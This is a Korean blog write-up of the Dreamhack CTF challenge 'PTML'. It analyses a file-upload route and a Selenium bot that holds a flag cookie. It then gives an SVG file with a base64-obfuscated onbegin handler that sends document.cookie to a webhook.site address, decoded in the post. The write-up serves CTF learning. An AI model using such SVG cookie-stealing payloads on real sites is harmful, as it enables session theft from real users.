드림핵 PTML 풀이

사랑해요·2026년 8월 14일

드림핵 문제 풀이

목록 보기
6/13

문제설명

딱 봐도 file-upload 취약점이 있을거같다.

코드분석

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f"{unique_id}_{filename}"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for('index', file=f'uploads/{unique_filename}'))
    return '', 204

딱 봐도 매우 취약해 보인다.

def read_file(filename):
    driver = None
    cookie = {"name": "flag", "value": FLAG}
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")
        
        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

이렇게 셀레니움으로 봇이 구현되어 있으니 svg 파일에 js를 집어넣어서 xss공격으로 webhook.site에 보내면 될거같다.

풀이

vscode를 열어서 1.svg 파일을 생성한 다음 페이로드를 입력해준다.

페이로드로는 이걸 사용했다.

<svg width="704" height="161" viewBox="0 0 704 161" fill="none" xmlns="http://www.w3.org/2000/svg">
<animate attributeName="x" dur="0s" onbegin="eval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvNWEyMWY0MjgtNTFiMi00NDNiLTgwZWMtZTRhOGM5MWQzNzk0P2ZsYWc9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ=='))"/>
</svg>

eval 함수 안에 base64로 인코딩 되어있는 것은

location.href="https://webhook.site/5a21f428-51b2-443b-80ec-e4a8c91d3794?flag=".concat(document.cookie)

이 코드 이다.

flag

후기

이제 브론즈 1 정도 올라오니까 여러 취약점을 꼬아서 나오는 문제가 나오기 시작했다.
그래도 기초를 잘 다져 놓으니까 아직까지는 할만한거 같다 :)

profile
중1 개발자

0개의 댓글